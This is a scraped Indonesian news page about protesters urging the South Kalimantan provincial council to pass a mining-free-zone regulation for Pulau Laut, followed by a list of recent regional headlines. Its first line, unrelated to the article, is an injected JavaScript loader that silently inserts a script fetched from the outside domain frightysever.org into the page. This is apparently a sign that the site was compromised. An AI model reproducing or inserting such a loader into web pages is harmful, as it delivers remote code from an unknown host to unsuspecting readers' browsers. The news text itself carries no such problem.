(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Hukum

Massa Tuntut Dewan Kalsel Segera Teken Perda Zona Bebas Tambang


BANJARMASIN, Desakan menolak tambang di Pulau Laut tak hanya masif dilakukan di gedung PTUN Banjarmasin, tetapi juga di DPRD Kalsel. Massa yang mengenakan kaos Tolak Tambang Pulau Laut atau Save Pulau Laut, Jumat (11/5) mendatangi gedung DPRD Kalsel. Mereka mendesak agar dewan secepatnya mengesahkan Perda Kawasan Zona Bebas Tambang di Kalsel.

Massa yang berorasi di halaman gedung dewan tersebut diterima Ketua Komisi III DPRD Kalsel, Supian HK dan sejumlah anggota dewan lain. Koordinator aksi, yang sebelumnya juga memimpin Kongres Tolak Tambang di Pulau Laut, Hardiyandi mengatakan, perlunya dewan segera mengesakan perda tersebut. Jika tidak, tambang akan bisa merusak kearifan lokal dan lingkungan.

“Kami tidak ingin kawasan Pulau Laut menjadi rusak akibat keberadaan tambang. Sehingga dewan mesti cepat mengesahkan Perda Zona Bebas Tambang untuk melindungi kearifan lokal masyarakat,” katanya.

Hardiyandi mengatakan, pihaknya siap mengawal Perda tersebut jika disahkan oleh dewan. Namun jika tidak, dia mengancam untuk keluar dari Provinsi Kalsel dengan membangun Provinsi Kalimantan Tenggara.

“Kami siap keluar dari Kalimantan Selatan dan membangun Kalimantan Tenggara. Sebab, daripada orang lain yang menambang hingga daerah hancur, lebih baik warga sendiri yang menambang,” katanya.

Menyikapi tuntutan pendemo, Supian HK mengatakan dewan mengapresiasi atas aksi penolakan tambang yang digelar masyarakat. “Sebagai warga Kalsel tentu kita harus menyelamatkan kearifan lokal. Dan kami juga mendukung perjuangan masyarakat di sana,” kata anggota Fraksi Golkar ini.

Terkait pengesahan zona bebas tambang di Pulau Laut, Supian HK mengatakan,  harus terlebih dulu mengubah rencana tata ruang wilayah dan melakukan pengkajian alih fungsi kawasan. Hingga saat ini, dewan terus bergerak agar rancangan peraturan daerah tersebut secepatnya bisa disahkan menjadi Perda.(ammar)

Reporter : Ammar
Editor : Chell

Desy Arfianty

Recent Posts

Langganan Luapan Air di Ruas Jalan Mistar Cokrokusomo Cempaka

KANALKALIMANTAN.COM, BANJARBARU - Genangan air yang merendam hingga ke Jalan Mistar Cokrokusumo, Kecamatan Cempaka, Kota… Read More

5 bulan ago

22 Januari: Asal Usul Hari Pejalan Kaki Nasional

KANALKALIMANTAN.COM - Setiap tanggal 22 Januari, diperingati Hari Pejalan Kaki Nasional sebagai bentuk penghormatan terhadap… Read More

5 bulan ago

Selewengkan Dana Program Kader Sosial HST, Terdakwa Ajukan Keberatan

KANALKALIMANTAN.COM, BANJARMASIN - Terdakwa kasus korupsi dana kader sosial pada Dinas Sosial (Dinsos) Kabupaten Hulu… Read More

5 bulan ago

Curah Hujan Diprediksi Masih Tinggi, BPBD Banjarbaru Catat 169 Rumah Terendam Banjir

KANALKALIMANTAN.COM, BANJARBARU – Badan Meteorologi, Klimatologi, dan Geofisika (BMKG) memprediksi potensi cuaca ekstrem di Kalimantan… Read More

5 bulan ago

Banjir Rob Masih Jadi Ancaman Warga Banjarmasin

KANALKALIMANTAN.COM, BANJARMASIN - Banjir rob akibat pasang surut air dan curah hujan tinggi masih menerjang… Read More

5 bulan ago

Hujan Diprediksi Hingga Maret 2025, BPBD Banjar Imbau Masyarakat Waspada

KANALKALIMANTAN.COM, MARTAPURA - Curah hujan ekstrem yang terjadi beberapa hari terakhir mengakibatkan genangan air terjadi… Read More

5 bulan ago

This website uses cookies.